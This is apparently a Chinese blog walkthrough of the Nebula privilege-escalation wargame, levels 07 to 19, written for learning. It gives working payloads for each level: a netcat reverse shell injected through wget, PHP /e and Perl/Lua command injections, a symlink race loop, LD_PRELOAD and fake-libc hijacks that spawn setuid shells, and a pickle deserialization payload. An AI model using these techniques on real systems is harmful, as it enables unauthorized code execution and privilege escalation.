然后我们把这里两条合起来加到我们的payload中。 wget -O- "http://127.0.0.1:7007/index.cgi?Host=127.0.0 || mknod /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 127.0.0.1 8888 1>/tmp/backpipe" 这样一来，shell成功的弹了回来 level07@nebula$ nc -vv -l 8888 Connection from 127.0.0.1 port 8888 [tcp/*] accepted whoami flag07 getflag You have successfully executed getflag on a target account level 08 给了个pcap文件，从流量中分析出些什么猥琐的东西。 丢到wireshark里，发现大概共100个数据包，只有两个IP，直接跟踪TCP流，看到了些有趣的东西。 ..%..%..&..... ..#..'..$..&..... ..#..'..$.. .....#.....'........... .38400,38400....#.SodaCan:0....'..DISPLAY.SodaCan:0......xterm.........."........!........"..".....b........b.....B. ..............................1.......!.."......"......!..........."........".."................ ..................... Linux 2.6.38-8-generic-pae (::ffff:10.1.1.2) (pts/10) ..wwwbugs login: l.le.ev.ve.el.l8.8 .. Password: backdoor...00Rm8.ate . .. Login incorrect wwwbugs login: 看起来好像数据包不完整，用那个密码也不能登陆成功。换成十六进制看看。 000000D6 00 0d 0a 50 61 73 73 77 6f 72 64 3a 20 ...Passw ord: 000000B9 62 b 000000BA 61 a 000000BB 63 c 000000BC 6b k 000000BD 64 d 000000BE 6f o 000000BF 6f o 000000C0 72 r 000000C1 7f . 000000C2 7f . 000000C3 7f . 000000C4 30 0 000000C5 30 0 000000C6 52 R 000000C7 6d m 000000C8 38 8 000000C9 7f . 000000CA 61 a 000000CB 74 t 000000CC 65 e 000000CD 0d . 问题一下子就出来了，0x7f怎么会是一个点号呢，查了一下发现是backspace，也就是退格键，试试我们的新密码吧：backd00Rmate，后面的事情就不用多说了。 level 09 竟然给了世界上最好的语言。 <?php function spam($email) { $email = preg_replace("/\./", " dot ", $email); $email = preg_replace("/@/", " AT ", $email); return $email; } function markup($filename, $use_me) { $contents = file_get_contents($filename); $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?> 还有个setuid的C程序，不过从源码中发现了在使用preg_replace的时候用到了/e，这个参数已经在PHP5.5以上被废弃了。对于构造这样的payload，应该比较容易了。这里的代码也比较容易构造。 [email {${phpinfo()}}] 成功执行，至于你要问为啥，请移步：http://php.net/manual/en/language.types.string.php#language.types.string.parsing 继续构造执行命令的payload。 [email {${system("getflag")}}] 结果发现双引号被转义了，执行不了。但是函数还有个$use_me参数，应当算作提示吧。 [email {${system($use_me)}}] 最终结果如下： $ cat /tmp/aa.txt [email {${system($use_me)}}] $ ./flag09 /tmp/aa.txt getflag 完成了。 level 10 题目做到这里就变得有趣起来了。 这个题给了一个C程序的源码，通读下来，是一个上传文件的程序，使用了access()做了限制，通过限制后就会通过socket把文件内容传输过去。 #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } } 如果对*nix不熟悉的同学，可能觉得这代码没啥问题。但实际上这是个TOCTTOU(Time of check to time of use)的bug。在分析前我们先弄明白两个东西，分别是Effective user ID和Real user ID。 ruid的作用是Identify the real user，而euid的作用是Decides access level。如果还不明白的同学请参考https://en.wikipedia.org/wiki/User_identifier#Real_user_ID 而这里的access()检查的是ruid，在access()检查和使用open()打开文件之间的这段时间里，我们完全可以替代掉打开的文件为token，因为我们已经通过了检查。也就是说，用一个有权限的文件去绕过access的限制，之后马上把文件替换成没有权限的token，因为已经经过了检查，所以程序可以毫无阻碍的打开没有权限的token文件。（在这个题中没有访问token文件的权限，而flag就在token中） 现在来解这个题，首先我们需要一个循环脚本来不停的做链接来替换文件。/tmp/aaa我们是有权限access的，而token则没有，所以要不停的替换，让access的时候传入token，然后就替换成token文件。 while true; do ln -sf /home/flag10/token /tmp/ttt ln -sf /tmp/aaa /tmp/ttt done 接着把nc跑起来本地监听18211端口，接下来再写个循环不停的运行目标程序吧，剩下的事情就是看脸了。 while true; do /home/flag10/flag10 /tmp/ttt 10.211.55.2 done 然后看到了nc那边的输出，得到了token文件的内容。后面的事情就不用说了。 level 11 这题有点意思了，给了源码，题目说有两种方式完成本题。 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } } 同样的也是先通读源码，一开始需要输入Content-Length:加一个整数，如果小于1024的话，会继续调用fread()，如果大于或等于1024的话，就会随机打开一个随机的文件描述符，然后把content的内容复制到这个文件中，然后把这个文件中的内容读入内存中紧接着执行process()函数，可以看到不管如何最终都会调用process()函数，这个函数是一个十分简单的解密函数。 void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } 不是很难，很容易写出反解的脚本。 #!/usr/bin/env python2 cmd = 'getflag\x00' length = 1024 key = length & 0xff res = "" for i in range(len(cmd)): enc = (ord(cmd[i]) ^ key) & 0xff res += chr(enc) key = (key - ord(cmd[i])) & 0xff print "Content-Length: " + str(length) + "\n" + res + "A"*(length - len(res)) 需要注意的就是在命令的最后需要自己手动加个null字节进行截断。源程序中还需要一个TEMP的环境变量，设置一下。 $ export TEMP=/tmp 这样就完成了，但是题目说有两种解法，再回过头来仔细看看，发现了一个bug，不知道是手抖还是故意的。 if(fread(buf, length, 1, stdin) != length) { 这一行代码，看起来没啥问题，我们看一下fread的函数原型。 size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream); The function fread() reads nmemb elements of data, each size bytes long, from the stream pointed to by stream, storing them at the loca‐ tion given by ptr. fread() and fwrite() return the number of items successfully read or written (i.e., not the number of characters). 看完就明白了，这个fread总会返回1，所以我们必须输入Content-Length: 1，才能满足这个条件。 我们试一下： level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 sh: $'y@z': command not found level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 sh: $'yp5': command not found 发现每次都是随机的，但是有时候会出现这样的情况： level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 sh: $ y: command not found 刚好出现了一个y，那我们新建一个脚本，名字为y，还是用PATH顺序的方法让他优先执行我们的脚本。 level11@nebula:/tmp$ cat /tmp/y #!/bin/bash /bin/bash level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 getflag is executing on a non-flag account, this doesn't count 为啥不算数，我觉得算数了啊，这明显是setuid的程序通过system调用的呀，迷。 level 12 一段lua脚本，题目描述是一个backdoor，监听在50001端口。 local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 50001)) function hash(password) prog = io.popen("echo "..password.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local line, err = client:receive() if not err then print("trying " .. line) -- log from where ;\ local h = hash(line) if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then client:send("Better luck next time\n"); else client:send("Congrats, your token is 413**CARRIER LOST**\n") end end client:close() end 先把那串hash丢到CMD5里去解一下，发现解不开，看了这个题的point不在这里。 仔细读源码的话就会发现命令注入，在prog = io.popen("echo "..password.." | sha1sum", "r")，没有过滤就代入了，直接构造payload就好了，比较简单。 Password: 123;getflag;# 然而没输出成功的消息，试试重定向： Password: 123;getflag > /tmp/123;# $ cat /tmp/123 成功了。 level 13 这个题同样给了一个源码，是通过getuid()进行检查的，如果不等于1000就退出。当然计算token的过程被略去了。 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry :) printf("your token is %s\n", token); } 通读代码，这时候有几个思路可是尝试下： 丢IDA里找到计算token的过程，但是这么玩就没意思了。 改汇编代码，把getuid的判断结果改为当前用户的uid。 hook getuid这个函数，让其返回1000，从而绕过判断。 我们一个一个来分析，先说第一个，纵然是最简单的，不费吹灰之力就得到了token，只是把一串密文与0x5a进行了异或操作。 第二个方法也比较简单，没啥好说的。 我们来看看第三个方法，劫持掉getuid()函数。可能实现起来比较麻烦，但是可以通过环境变量LD_PRELOAD来使事情变得简单。LD_PRELOAD可以影响程序运行时的链接，这个变量允许你定义在程序运行时优先加载的动态链接库。 于是我们写一个程序mygetuid.c，内容如下： #include <sys/types.h> uid_t getuid(void) {return 1000;} 然后把它编译成so库文件： gcc -shared -fPIC mygetuid.c -o mygetuid.so，接下来设置LD_PRELOAD变量。 $ LD_PRELOAD="/home/level13/mygetuid.so" $ export LD_PRELOAD $ ./flag13 成功。这里需要注意一点，需要将/home/flag13/flag13复制到/home/level13/下面运行才可以，因为需要flag13和这个so文件的ruid是一样的才可以。 level 14 这题目看着有点像密码学系列，这个程序会把输入加密，并且将密文输出，我们要做的是把加密过的token解开。 这题要么拿去逆一下，要么试试有没有规律输出。 输入aaaaaaa输出abcdefg，看起来好像只是简单的递增关系，第0个位置加0，第1个位置加1，以此类推，这样很快就能写出解密脚本。 #!/usr/bin/env python2 token = "857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW." cnt = 0 res = "" for i in token: res += chr(ord(i) - cnt) cnt += 1 print res level 15 这个题，直接让我用strace了，那就照做吧。结果发现这货在/var/tmp/flag15这个位置寻找libc.so.6，结果肯定找不到的。应该是在编译的时候指定了选项，因为正常情况下是会搜索/lib和/usr/lib两个路径，如果都未找到，按照/etc/ld.so.conf里面的配置进行绝对路径的查找。当然可以通过环境变量LD_LIBRARY_PATH进行指定，但是这个变量是全局影响，显然这题应该不是这么做的。 ld关于这部分的选项主要有三个，分别是-L、-rpath-link和-rpath，其中前两个都是在链接的时候用到的，而-rpath则是运行的时候去寻找的，对于这部分不熟悉的同学，请参考题目给出的参考链接。 通过objdump -p flag15命令，确实看到了指定了rpath，是/var/tmp/flag15，同时发现需要GLIBC_2.0版本，于是在这里弄一个libc试试。（RPATH和LD_PRELOAD的区别请自行百度，与setuid有关。） 既然可以丢入自己的libc库，直接劫持掉__libc_start_main()吧，但是首先我们要解决掉版本问题。新建一个shell.c，就写入下面这一行代码。 #include <stdlib.h> 进行编译： $ gcc -fPIC -shared shell.c -o libc.so.6 运行flag15后提示no version information。那么写个version信息试试。 新建一个文件version，写入以下内容： GLIBC_2.0{}; 然后进行编译： $ gcc -fPIC -shared -Wl,--version-script=version shell.c -o libc.so.6 继续运行flag15，结果提示No version GLIBC_2.1.3 not found，可能是指向了其他的GLIBC，静态编译吧。 $ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic shell.c -o libc.so.6 OK，版本问题解决了，现在是提示找不到__libc_start_main了，这个好办，我们自己写一个。继续修改shell.c，代码如下： int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { char *file = SHELL; char *argv[] = {SHELL,0}; setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } 同时version文件也要改一下： GLIBC_2.0{ global:__libc_start_main; local: *; }; 编译： $ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic libc.c -o libc.so.6 运行，获得了flag15的shell，搞定。 level 16 又给了一个perl脚本，代码： #!/usr/bin/env perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub login { $username = $_[0]; $password = $_[1]; $username =~ tr/a-z/A-Z/; # conver to uppercase $username =~ s/\s.*//; # strip everything after a space @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; foreach $line (@output) { ($usr, $pw) = split(/:/, $line); if($pw =~ $password) { return 1; } } return 0; } sub htmlz { print(" Login resuls "); if($_[0] == 1) { print("Your login was accepted "); } else { print("Your login failed "); } print("Would you like a cookie? \n"); } htmlz(login(param("username"), param("password"))); 听说又有命令注入： @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; 很明显，username处存在命令注入，要么弹个shell回来，要么直接执行命令。这里对用户名进行了限制，会将其转换成大写，并且去掉第一个空格之后的任何内容。 对于第一个限制，可以使用Case modification进行绕过。http://wiki.bash-hackers.org/syntax/pe#case_modification 对于第二个限制，可以采取如下方式 "</dev/null;pwnvar=/tmp/ttt;${pwnvar,,};# 在/tmp/ttt中写入： #!/bin/sh /bin/getflag > /tmp/aaa 把payload代入username即可。后来发现，这样的payload也是可以的： `/*/MYSHELL` 其中MYSHELL是一个shell脚本。 level 17 这次给了个python脚本。 #!/usr/bin/python import os import pickle import time import socket import signal signal.signal(signal.SIGCHLD, signal.SIG_IGN) def server(skt): line = skt.recv(1024) obj = pickle.loads(line) for i in obj: clnt.send("why did you send me " + i + "?\n") skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) skt.bind(('0.0.0.0', 10007)) skt.listen(10) while True: clnt, addr = skt.accept() if(os.fork() == 0): clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) server(clnt) exit(1) 一眼就发现了关键点，pickle.loads(line)。应该是在反序列化的时候出现了问题，导致可以执行任意代码。之前我的博客也提到过：http://lightless.me/archives/Python-Pickle-Code-Execute.html 但是在这里似乎比较麻烦，需要自己构造序列化以后的东西，当然利用类的__reduce__方法也可以。 cos system (S'getflag > /tmp/res' tR. 把这些内容保存到a.txt，然后通过nc发送过去，具体怎么发送都无所谓了。 level 18 给了C源码，有三种方式过关，难度递增。代码太长就不贴出来了。 不过这个题有点难度，栈溢出的话需要绕过栈stack canaries，格式化字符串漏洞需要绕过FORTIFY_SOURCE，可以看一下这篇文章：http://phrack.org/issues/67/9.html 感觉最简单的方法就是耗尽系统资源，关于这个题的解答可以看这里：http://v0ids3curity.blogspot.com/2012/09/exploit-exercise-improper-file-handling.html level 19 看完18再来看这个简直是酸爽啊，突然觉得好幸福。 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); } 这个题也是要突破这个程序，通读下来，发现这个程序的流程是首先获取父进程的PID，然后再根据这个PID到/proc下面找对应的文件夹，如果这个文件夹是属于root的，就可以执行shell了。 但是在*nix中涉及到一个父子进程的问题，就是如果父进程死了，那么子进程就变成了孤儿进程，然后init会把这个孤儿进程作为自己的子进程，而init则是由root启动的，这样就可以突破限制了。这代码是从网上找了一份，拿来改了改。 #include <unistd.h> int main(int argc, char **argv, char **envp) { int childPID = fork(); if(childPID >= 0) { // forked if(childPID == 0) { // child sleep(1); setresuid(geteuid(),geteuid(),geteuid()); char *args[] = {"/bin/sh", "-c", "/bin/getflag", NULL}; execve("/home/flag19/flag19", args, envp); } } return 0; } 通关了 终于通关了，脑洞大开，各种黑魔法。